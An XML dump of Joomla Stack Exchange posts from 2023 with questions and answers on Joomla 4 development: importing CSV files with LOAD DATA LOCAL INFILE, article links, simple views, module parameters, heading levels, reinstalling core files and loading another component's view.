  <row Id="33232" PostTypeId="1" AcceptedAnswerId="33234" CreationDate="2023-07-29T09:04:00.173" Score="0" ViewCount="296" Body="&lt;p&gt;In order to import large CSV files into a Joomla database table, I use the MySQL &amp;quot;LOAD DATA LOCAL INFILE&amp;quot; command as follows:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$db = $this-&amp;gt;getDbo();&#xA;&#xA;$sql = &amp;quot;LOAD DATA LOCAL INFILE '&amp;quot; . $path . &amp;quot;' INTO TABLE &amp;quot; . $db-&amp;gt;quoteName('#__mytable') . &amp;quot; &amp;quot;;&#xA;$sql .= &amp;quot;CHARACTER SET LATIN1 &amp;quot;;&#xA;$sql .= &amp;quot;FIELDS TERMINATED BY ';' &amp;quot;;&#xA;$sql .= &amp;quot;LINES TERMINATED BY '\n' &amp;quot;;&#xA;$sql .= &amp;quot;IGNORE 1 LINES &amp;quot;;&#xA;$sql .= &amp;quot;(id, name, ...);&amp;quot;;&#xA;&#xA;try {&#xA;   if ($db-&amp;gt;getConnection() instanceof mysqli) {&#xA;      mysqli_options($db-&amp;gt;getConnection(), MYSQLI_OPT_LOCAL_INFILE, true);&#xA;   }&#xA;} catch (Exception $e) {&#xA;   $msg = $e-&amp;gt;getMessage(); &#xA;   $code = $e-&amp;gt;getCode();&#xA;}&#xA;&#xA;try {&#xA;   $db-&amp;gt;setQuery($sql);&#xA;   $result = $db-&amp;gt;execute();&#xA;} catch (Exception $e) {&#xA;   $msg = $e-&amp;gt;getMessage(); &#xA;   $code = $e-&amp;gt;getCode();&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;This works fine in Joomla 3 &lt;a href=&quot;https://joomla.stackexchange.com/questions/33151/using-mysql-load-data-local-infile-with-the-joomla-database-connection-object&quot;&gt;- as described in this thread&lt;/a&gt;:&lt;/p&gt;&#xA;&lt;p&gt;In Joomla 4, the 2nd try/catch throws the following error:&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;error 1295 This command is not supported in the prepared statement protocol yet&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;Is there a way to get this code to work in Joomla 4 as well?&lt;/p&gt;&#xA;" OwnerUserId="15765" LastActivityDate="2023-07-31T06:46:13.033" Title="MySQL &quot;LOAD DATA LOCAL INFILE&quot; with database connection object in Joomla 4" Tags="|joomla-4.x|mysql|database|jdatabase|" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 4.0" />
  <row Id="33233" PostTypeId="1" CreationDate="2023-07-29T17:18:11.350" Score="0" ViewCount="28" Body="&lt;p&gt;I have a Joomla 4 menu item of type &amp;quot;List All Categories in an Article Category Tree&amp;quot;. The menu item is FAQ, which sits under another menu item labelled Help. There is a category with an alias getting-started, and in that category, an article with alias checklist. So, with SEO turned on, navigating through that structure to the article results in url help/faq/getting-started/checklist.html . That's all fine.&lt;/p&gt;&#xA;&lt;p&gt;Now I would like to link to that article from somewhere else on the web site. Of course I could just link to help/faq/getting-started/checklist.html, but it seems like a better idea to link to the article id, in case the structure changes or in case SEO is turned off (am I right that this is better?) So I created a link to index.php?option=com_content&amp;amp;view=article&amp;amp;id=11, which almost works, but not quite; the url ends up looking like help/faq/different-category/checklist.html. different-category is a category that has an id that happens to be the same id as the article id, not sure if that's just a coincidence. Anyway, this url doesn't work.&lt;/p&gt;&#xA;&lt;p&gt;So I turned off SEO to see what the url looks like for the article. It looks something like this:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;/index.php?option=com_content&amp;amp;view=article&amp;amp;id=11:checklist&amp;amp;catid=12&amp;amp;Itemid=135&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;So, in addition to the article id (11), the url includes both the category id (12) and the id (135) of the menu item &amp;quot;List All Categories in an Article Category Tree&amp;quot;. It also includes the article alias, though I can remove that from the url and it still works. So that works whether SEO is turned on or off, but it seems rather tightly coupled to the current category structure and menu structure. Is this the right (only?) way to link to such an article?&lt;/p&gt;&#xA;&lt;p&gt;Oho, it seemed I can also remove catid, and that also works with SEO turned off:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;/index.php?option=com_content&amp;amp;view=article&amp;amp;id=11&amp;amp;Itemid=135&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;However, with SEO turned on, it seems like catid really is needed:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;/index.php?option=com_content&amp;amp;view=article&amp;amp;id=11&amp;amp;catid=12&amp;amp;Itemid=135&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Is this as short as it gets?&lt;/p&gt;&#xA;" OwnerUserId="3948" LastEditorUserId="3948" LastEditDate="2023-07-29T17:34:55.043" LastActivityDate="2023-07-29T17:34:55.043" Title="Linking to a category list item" Tags="|joomla-4.x|url|non-sef-url|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33234" PostTypeId="2" ParentId="33232" CreationDate="2023-07-31T06:32:30.187" Score="2" Body="&lt;p&gt;Since 4.0, Joomla database layer always uses prepared statements. And as the error states, the query you're trying to run is not supported when used in prepared statements. This is true at least for the combination of the MySQLi library and the MySQL database used. To get things working, you might have to not use prepared statements. You can do that by bypassing Joomla database layer completely and manually creating a mysqli instance. You can also use &lt;code&gt;Joomla\Database\DatabaseInterface::getConnection()&lt;/code&gt; to get the mysqli instance, as you are already doing, and run the query directly on it:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$connection = $db-&amp;gt;getConnection();&#xA;mysqli_options($connection, MYSQLI_OPT_LOCAL_INFILE, true);&#xA;&#xA;// Replace #__ table prefix.&#xA;$sql = $db-&amp;gt;replacePrefix($sql);&#xA;&#xA;// Run the query.&#xA;$connection-&amp;gt;query($sql);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;PDO, on the other hand, appears to work correctly (YMMV). However, &lt;code&gt;PDO::MYSQL_ATTR_LOCAL_INFILE&lt;/code&gt; attribute must to be passed to the constructor of PDO class and cannot be set later. Therefore, you need to create a new driver instance with the attribute already in:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$options = [&#xA;    'host' =&amp;gt; 'host',&#xA;    'user' =&amp;gt; 'user',&#xA;    'password' =&amp;gt; 'password',&#xA;    'database' =&amp;gt; 'database',&#xA;    'prefix' =&amp;gt; 'xxx_',&#xA;    // Set connection attributes.&#xA;    'driverOptions' =&amp;gt; [PDO::MYSQL_ATTR_LOCAL_INFILE =&amp;gt; 1],&#xA;];&#xA;&#xA;// Create PDO MySQL driver.&#xA;$db = (new Joomla\Database\DatabaseFactory)-&amp;gt;getDriver('mysql', $options);&#xA;&#xA;// Execute the query.&#xA;$db-&amp;gt;setQuery($sql);&#xA;$db-&amp;gt;execute();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12652" LastEditorUserId="12652" LastEditDate="2023-07-31T06:46:13.033" LastActivityDate="2023-07-31T06:46:13.033" CommentCount="8" ContentLicense="CC BY-SA 4.0" />
  <row Id="33235" PostTypeId="1" CreationDate="2023-07-31T07:42:58.603" Score="0" ViewCount="28" Body="&lt;p&gt;I want to create a single &lt;code&gt;view=help&lt;/code&gt; to display HTML code instead of the form &lt;code&gt;view=item&amp;amp;layout=edit&lt;/code&gt;  to the Joomla 4 Components administrator area, is it possible to achieve it?&#xA;right now I am facing an error&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;0 Table help not supported. File not found.&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="16785" LastActivityDate="2023-07-31T08:52:05.767" Title="Can we create single view in Joomla four without table file to just HTML code" Tags="|joomla-4.x|administrator|view|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="33236" PostTypeId="2" ParentId="33235" CreationDate="2023-07-31T08:52:05.767" Score="1" Body="&lt;p&gt;Yes.&lt;/p&gt;&#xA;&lt;p&gt;I am assuming you have copied a sample of an edit view and haven't properly removed the lines of code relevant to loading a Form and Data and that is why you are getting a &lt;code&gt;file not found&lt;/code&gt; message.&lt;/p&gt;&#xA;&lt;p&gt;In its simplest form a Joomla 4 View needs to only have a &lt;code&gt;display()&lt;/code&gt; method&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;use Joomla\CMS\MVC\View\HtmlView as BaseHtmlView;&#xA;&#xA;class HtmlView extends BaseHtmlView&#xA;{&#xA;    public function display($tpl = null): void&#xA;    {&#xA;        parent::display($tpl);&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;and a template file in called &lt;code&gt;default.php&lt;/code&gt;, eg. &lt;code&gt;\tmpl\help\default.php&lt;/code&gt;, to be displayed.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;defined('_JEXEC') or die;&#xA;?&amp;gt;&#xA;&amp;lt;div&amp;gt;&#xA;    &amp;lt;p&amp;gt;Hello&amp;lt;/p&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;This will use the DisplayController, it does not need its own controller.&lt;/p&gt;&#xA;&lt;p&gt;As @Sharky suggests in his comment, providing the code that you have written or are modifying in your question would make it easier to help you and provide more specific answer rather than us assuming what code you have.&lt;/p&gt;&#xA;" OwnerUserId="13306" LastActivityDate="2023-07-31T08:52:05.767" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33237" PostTypeId="1" AcceptedAnswerId="33240" CreationDate="2023-07-31T15:28:14.250" Score="0" ViewCount="229" Body="&lt;p&gt;I am loading a module from an article overide. The module needs different parameters depending on places I load it from. In Joomla 3, I could do use (in an article overide) :&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;// Load module&#xA;jimport('joomla.application.module.helper');&#xA;$module = JModuleHelper::getModule('mod_custom','Module name');&#xA;$attribs['displayFull'] = true;&#xA;$module= JModuleHelper::renderModule($module, $attribs);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Then  access the &lt;code&gt;displayFull&lt;/code&gt; custom parameter with &lt;code&gt;$attribs['displayFull']&lt;/code&gt; in the module overide.&lt;/p&gt;&#xA;&lt;p&gt;In Joomla 4.x.x, I use :&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;use Joomla\CMS\Helper\ModuleHelper;&#xA;&#xA;// Load module&#xA;$module = ModuleHelper::getModule('mod_custom','Module name');&#xA;$module = ModuleHelper::renderModule($module);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I can't figure out how to pass custom parameters to the module overide as adding an array as I did in J3.&lt;br /&gt;&#xA;I tried adding a custom parameter like this :&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;use Joomla\CMS\Helper\ModuleHelper;&#xA;&#xA;// Load module&#xA;$attribs['displayFull'] = true;&#xA;$module = ModuleHelper::getModule('mod_custom','Module name');&#xA;$module = ModuleHelper::renderModule($module, $attribs);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;But when I try to access &lt;code&gt;$attribs['displayFull']&lt;/code&gt; in the module overide, I get this error :&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;Warning: Undefined variable $attribs in...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="36" LastEditorUserId="36" LastEditDate="2023-08-01T11:09:28.253" LastActivityDate="2023-08-01T11:09:28.253" Title="ModuleHelper::renderModule with custom parameters" Tags="|module|template-override|module-params|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="33239" PostTypeId="1" AcceptedAnswerId="33241" CreationDate="2023-08-01T00:09:58.797" Score="0" ViewCount="132" Body="&lt;p&gt;I'm trying to change the Category Blog article titles from H1 to H2.&lt;/p&gt;&#xA;&lt;p&gt;I've already tried creating a template override for com_content &amp;gt; tmpl &amp;gt; article &amp;gt; default.php. I found this line:&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;&amp;lt;div class=&amp;quot;page-header&amp;quot;&amp;gt;&lt;/code&gt;&#xA;&lt;code&gt;&amp;lt;h1&amp;gt; &amp;lt;?php echo $this-&amp;gt;escape($this-&amp;gt;params-&amp;gt;get('page_heading')); ?&amp;gt; &amp;lt;/h1&amp;gt;&lt;/code&gt;&#xA;&lt;code&gt;&amp;lt;/div&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;But that is only for the page header, not the article title. The article title is placed by this line:&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;&amp;lt;&amp;lt;?php echo $htag; ?&amp;gt; itemprop=&amp;quot;headline&amp;quot;&amp;gt;&lt;/code&gt;&#xA;&lt;code&gt;&amp;lt;?php echo $this-&amp;gt;escape($this-&amp;gt;item-&amp;gt;title); ?&amp;gt;&lt;/code&gt;&#xA;&lt;code&gt;&amp;lt;/&amp;lt;?php echo $htag; ?&amp;gt;&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;But there is no tag around that code to control the heading size.&lt;/p&gt;&#xA;&lt;p&gt;Right now in my site, in the Category Blog menu item settings, under Page Display, &amp;quot;Show Page Heading&amp;quot; is set to &lt;strong&gt;Hide&lt;/strong&gt;. This causes the article titles to be H1 tags. This is a problem because the name of my blog is already the H1 tag on the page. If I &lt;strong&gt;Show&lt;/strong&gt; the page headings instead, the article title becomes a H2 tag like I want, but then an unwanted page heading appears above it, set as a H1 tag.&lt;/p&gt;&#xA;&lt;p&gt;I can create a CSS hack like this to remove the unwanted page heading, but I wonder if there's a better solution.&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;div.page-header h1 {display:none}&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="11861" LastActivityDate="2023-08-01T07:32:06.600" Title="How do you change category blog article titles to H2?" Tags="|articles|css|category-blog|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33240" PostTypeId="2" ParentId="33237" CreationDate="2023-08-01T07:09:38.117" Score="2" Body="&lt;p&gt;Attributes aren't meant to be used inside module context and they're no longer passed there. They're now only available in module chromes. Short of stuffing properties into &lt;code&gt;$module&lt;/code&gt; object there isn't much else you can do.&lt;/p&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2023-08-01T07:09:38.117" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="33241" PostTypeId="2" ParentId="33239" CreationDate="2023-08-01T07:32:06.600" Score="1" Body="&lt;p&gt;It's questionable whether the brand/site name should be in H1. To my knowledge H1 should be used for the main content of a given page. In this case that would be the article title or the custom heading if such exists. So you should considering modifying the template first. But to answer your question, you missed this part:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$htag = $this-&amp;gt;params-&amp;gt;get('show_page_heading') ? 'h2' : 'h1';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;It defines the heading tag later used by the article title, based on whether custom heading is shown or not. In your case you would have to increase the heading by one level:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$htag = $this-&amp;gt;params-&amp;gt;get('show_page_heading') ? 'h3' : 'h2';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2023-08-01T07:32:06.600" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="33242" PostTypeId="1" CreationDate="2023-08-01T09:07:20.517" Score="0" ViewCount="32" Body="&lt;p&gt;I have written the following php script and would like some critique of the script and suggested improvements.&#xA;My motivation was to reduce server backup times and save energy by not backing up redundant / unused / orphaned files.&#xA;If enough website owners removed redundant files from backup we could have a significant impact on our ecological footprint.&#xA;If anyone wants to take it on and convert it to a component or plugin then please go ahead.&#xA;To test it please upload the file to your joomla directory and change the script to meet your requirements.&#xA;Don't run this on  a live site - or make a backup!!&#xA;&lt;a href=&quot;https://github.com/ontargetWeb/cleanupjoomlafiles/blob/main/cleanfiles.php&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/ontargetWeb/cleanupjoomlafiles/blob/main/cleanfiles.php&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="16781" LastActivityDate="2023-08-01T09:07:20.517" Title="Review of php script to clean up orphaned images / pdfs on joomla 4" Tags="|joomla-4.x|images|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33243" PostTypeId="1" CreationDate="2023-08-01T15:12:34.137" Score="1" ViewCount="108" Body="&lt;p&gt;I am new to Joomla and made stupid mistakes of editing Cassiopea template without duplicating it first. I just realized that I should have done the latter while I was digging deeper on how to edit the site through backend. My page is now a mess and I really don't know what to do next. I am trying to follow a tutorial on YT to get me acquianted to the CRM's features and nothing is happening. Is there's any way to reboot Joomla, like a really clean slate, where I could be taken back again to that part which I was receiving tutorial pop-ups and the cassiopea template is in default form.&lt;/p&gt;&#xA;" OwnerUserId="17229" LastActivityDate="2023-12-30T09:02:35.367" Title="Is there a way to restart joomla and the Cassiopea template back to default?" Tags="|templates|cassiopeia|beginner|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33244" PostTypeId="2" ParentId="33243" CreationDate="2023-08-02T08:41:36.793" Score="0" Body="&lt;p&gt;I would suggest you take a good back up before you do this.&lt;/p&gt;&#xA;&lt;p&gt;From your description it sounds like you were editing the core files of Cassiopea and not using the Override system and got yourself all mixed up.&lt;/p&gt;&#xA;&lt;p&gt;You can reinstall the Joomla 4 core files quite easily by going to Joomla Update in the Admin Dashboard or under the System menu.&lt;/p&gt;&#xA;&lt;p&gt;There is a button there that will say 'Check for Updates'. Press that button and the 'Check' will do its thing and if you are on the current version of Joomla 4 the the page will say &amp;quot;Currently no updates available&amp;quot;.&lt;/p&gt;&#xA;&lt;p&gt;However the button will now say 'Reinstall Joomla! core Files' and this will copy all the original core files and that will replace any updates to the core files that you have made.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/98AVF.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/98AVF.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;If the 'Check' finds the next version of Joomla! then follow that process and it too will replace your core files just with the latest version of Joomla.&lt;/p&gt;&#xA;&lt;p&gt;And for completeness in this answer, you could also use the Upload and Update button at the bottom of the above image and this process requires you to manually download the Joomla installation .zip for whatever version you are currently using, and install that file and it too will replace all the core files.&lt;/p&gt;&#xA;" OwnerUserId="13306" LastActivityDate="2023-08-02T08:41:36.793" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33246" PostTypeId="1" CreationDate="2023-08-02T13:03:35.800" Score="0" ViewCount="50" Body="&lt;p&gt;I have alerts in frontpage that I have not been able to fix for months&#xA;&lt;a href=&quot;https://i.stack.imgur.com/FsZJb.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/FsZJb.jpg&quot; alt=&quot;ALERTA&quot; /&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;https://redes.editorasalvaje.net/internet&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://redes.editorasalvaje.net/internet&lt;/a&gt;&#xA;&lt;a href=&quot;https://redes.editorasalvaje.net/rural&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://redes.editorasalvaje.net/rural&lt;/a&gt;&#xA;&lt;a href=&quot;https://redes.editorasalvaje.net/recursos-herramientas&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://redes.editorasalvaje.net/recursos-herramientas&lt;/a&gt;&#xA;ETC.&lt;/p&gt;&#xA;" OwnerUserId="17230" LastActivityDate="2024-01-21T20:06:35.790" Title="ALERTS FRONTPAGE" Tags="|joomla-4.x|error-warning|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33247" PostTypeId="2" ParentId="33246" CreationDate="2023-08-02T16:32:35.580" Score="0" Body="&lt;p&gt;Disable JCHOptimize and Joomla cache, then disable your third party extensions (plugins and components) one by one to see which one shows the alert.&lt;/p&gt;&#xA;" OwnerUserId="135" LastActivityDate="2023-08-02T16:32:35.580" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33248" PostTypeId="1" CreationDate="2023-08-02T23:16:16.050" Score="1" ViewCount="415" Body="&lt;blockquote&gt;&#xA;&lt;p&gt;Note: Question fully updated with the latest findings:&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;I want to load a com_contact contact view inside a template override of an article.&#xA;I have a contact item id and trying to load the record and then trying to find a way to load and render its form.&lt;/p&gt;&#xA;&lt;p&gt;Following @Irata answer, I did try to use the MVCFactory class, to load/render the contact's view. Unfortunately, I can not find a way to populate the Contacts View with the proper data, so I thought I should try with the Contacts Display Controller. But this also has problems.&lt;/p&gt;&#xA;&lt;p&gt;So:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$comContactMVCFactory = \Joomla\CMS\Factory::getApplication()&#xA;    -&amp;gt;bootComponent('com_contact')&#xA;    -&amp;gt;getMVCFactory();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;So, now it's time for &lt;code&gt;$comContactMVCFactory-&amp;gt;createController()&lt;/code&gt;. The method requires 5 parameters. The last one &lt;code&gt;$input&lt;/code&gt;, is of &lt;code&gt;Joomla\Input\Input&lt;/code&gt; type. So, I need to pass that type of data there.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$app-&amp;gt;input-&amp;gt;set('option', 'com_contact');&#xA;$app-&amp;gt;input-&amp;gt;set('view', 'contact');&#xA;$app-&amp;gt;input-&amp;gt;set('id', 25);&#xA;$app-&amp;gt;input-&amp;gt;set('Itemid', 2091);&#xA;$app-&amp;gt;input-&amp;gt;set('layout', 'default');&#xA;&#xA;$input = $app-&amp;gt;input;&#xA;&#xA;$comContactMVCFactory = \Joomla\CMS\Factory::getApplication()&#xA;-&amp;gt;bootComponent('com_contact')&#xA;-&amp;gt;getMVCFactory();&#xA;&#xA;$config = [&#xA;    'name' =&amp;gt; 'contact',&#xA;    &amp;quot;base_path&amp;quot; =&amp;gt; JPATH_SITE . &amp;quot;/components/com_contact&amp;quot;,&#xA;    'model_path' =&amp;gt; JPATH_SITE . &amp;quot;/components/com_contact/forms&amp;quot;,&#xA;    'view_path' =&amp;gt; JPATH_SITE . &amp;quot;/components/com_contact/forms&amp;quot;,&#xA;];&#xA;&#xA;$controller = $comContactMVCFactory-&amp;gt;createController('Display', 'Site', $config, $app, $input);&#xA;$controller-&amp;gt;display();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Here there is one major problem at first.&#xA;Τhe &lt;code&gt;$controller&lt;/code&gt; input data is reverted back to the &lt;code&gt;Factory::getApplication()-&amp;gt;input&lt;/code&gt;. I checked the constructor of the Display Controller and it contains the following code, which makes the $input variable that we are enforced to pass, as irrelevant, since it always defaults to the current &lt;code&gt;$app-&amp;gt;input&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;In simple words - for the Contacts Controller, it's impossible to feed it with custom $input data.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;DisplayController Contructor of Contacts&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;public function __construct($config = [], MVCFactoryInterface $factory = null, $app = null, $input = null)&#xA;    {&#xA;        // Contact frontpage Editor contacts proxying.&#xA;        $input = Factory::getApplication()-&amp;gt;getInput();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;But let's say that we comment out that line of code and try to see how to achieve this (for experimental causes).&lt;/p&gt;&#xA;&lt;p&gt;I commented out that line that sets again the $input variable inside the constructor (just for the shake of experiment).&lt;/p&gt;&#xA;&lt;p&gt;Then the above code produces:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Form::loadForm could not load file&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;This is the backtrace:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;JROOT/libraries/src/MVC/Model/FormBehaviorTrait.php:120&lt;/li&gt;&#xA;&lt;li&gt;Joomla\CMS\MVC\Model\FormModel-&amp;gt;loadForm()   JROOT/components/com_contact/src/Model/ContactModel.php:107&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;The path for the contact.xml form is not set correctly and at the moment I can not find a way to set properly the form paths.&lt;/p&gt;&#xA;" OwnerUserId="126" LastEditorUserId="126" LastEditDate="2023-08-03T15:33:03.317" LastActivityDate="2023-08-04T06:25:34.570" Title="How to load and render a view of a component from another's component template file?" Tags="|component|joomla-4.x|view|controller|recommended-practices|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33249" PostTypeId="2" ParentId="33248" CreationDate="2023-08-02T23:50:42.710" Score="1" Body="&lt;p&gt;With Joomla 4 you can load the view of another component by using the &lt;code&gt;createView&lt;/code&gt; command of the &lt;code&gt;MVCFactory&lt;/code&gt; class. You 'boot' the com_contact component and then request the view you want from that component.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$fred = $app-&amp;gt;bootComponent('com_contact')-&amp;gt;getMVCFactory();&#xA;&#xA;$view = $fred-&amp;gt;createView('contact', 'Site', 'html', $config);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;There is a not a lot of documentation available that I can find about the method and I am only just starting to use it myself, however you can find the method in &lt;code&gt;..\libraries\src\MVC\Factory\MVCFactory.php&lt;/code&gt; around line #156 if you want to read the code.&lt;/p&gt;&#xA;&lt;p&gt;I would expect that you could pass the &lt;code&gt;id&lt;/code&gt; of the contact you want through the &lt;code&gt;$config&lt;/code&gt; param however that would be dependant on the code in the com_contact View class. Otherwise perhaps pass the &lt;code&gt;id&lt;/code&gt; through the State.&lt;/p&gt;&#xA;&lt;p&gt;There are also &lt;code&gt;createController&lt;/code&gt; and &lt;code&gt;createModel&lt;/code&gt; methods available that might be useful to you as an alternative to get the data into the view you want.&lt;/p&gt;&#xA;&lt;p&gt;This is should help you, &lt;a href=&quot;https://www.dionysopoulos.me/book/com-mvcfactory.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.dionysopoulos.me/book/com-mvcfactory.html&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Update 4th September&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;I have spent much the day trying to get something to work and I have managed to get a com_contact Edit form to appear in my calling component. It still needs work on the language fields that aren't loading but I can edit a specified contact record and save it, however the save will leave the calling component and re-display the com_contact edit form.&lt;/p&gt;&#xA;&lt;p&gt;In practice it is possible to display a View from another component however to be useful in a production sense the View needs to be written with the expectation that it is going to be injected into another component as some of the methods and techniques used by the core aren't quite ready for being injected into another component. For simple Views and layouts I think it could be useful.&lt;/p&gt;&#xA;&lt;p&gt;An example of the &amp;quot;aren't quite ready&amp;quot; and the biggest speed hump for me  was the Form processing which has issues in the setting of the Paths to find the required Form. In formBehaviours doing the path setting it uses the JPATH_COMPONENT constant to prefix the directory structure which is set to the calling component and not the called component whose form we are looking for.&lt;/p&gt;&#xA;&lt;p&gt;My interest is to share some Views from my components and for that purpose I think it will be a useful feature if I can write my View correctly. I am reusing Models all over the place and it works well, but Views need a bit more effort.&lt;/p&gt;&#xA;&lt;p&gt;Thanks to the updated original post I was able to get past some of the other issues thrown up reasonably quickly, so thank you.&lt;/p&gt;&#xA;&lt;p&gt;For now this sample will work in allowing you to edit a Contact and if I sort out the loading of the language files it might look prettier. Note that you will have to update the contactModel file to use the addFormPath shown in the comments unless someone has a idea for how I can set the path from my example, anything I tried failed.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;class HtmlView extends BaseHtmlView&#xA;{&#xA;    public function display($tpl = null): void&#xA;    {&#xA;        //This is needed to find the layout&#xA;         $config = ['base_path' =&amp;gt; JPATH_ADMINISTRATOR . &amp;quot;/components/com_contact&amp;quot;];&#xA;&#xA;        $record_id = 1;&#xA;&#xA;        $app      = Factory::getApplication();&#xA;&#xA;        $app-&amp;gt;input-&amp;gt;set('id', $record_id);     &#xA;        $input = $app-&amp;gt;input;&#xA;&#xA;        $fred           = $app-&amp;gt;bootComponent('com_contact')-&amp;gt;getMVCFactory();&#xA;        $view           = $fred-&amp;gt;createView('contact', 'administrator', 'html', $config);&#xA;        $view-&amp;gt;setModel($fred-&amp;gt;createModel('contact', 'Administrator', config: $config), true);&#xA;&#xA;        $barney         = $view-&amp;gt;getModel('contact');&#xA;        // $Barney needs an addFormField included here somehow, otherwise needs to be coded in the contactModel&#xA;        //        Form::addFormPath(JPATH_ADMINISTRATOR . '/components/com_contact/forms');&#xA;&#xA;        $view-&amp;gt;setLayout('edit');    //If not set will look for file called default.php        &#xA;        $view-&amp;gt;document = $this-&amp;gt;document;      // Needed to find webassets etc in the template&#xA;        $view-&amp;gt;display();&#xA;&#xA;        // parent::display($tpl);&#xA;    } &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="13306" LastEditorUserId="13306" LastEditDate="2023-08-04T06:25:34.570" LastActivityDate="2023-08-04T06:25:34.570" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
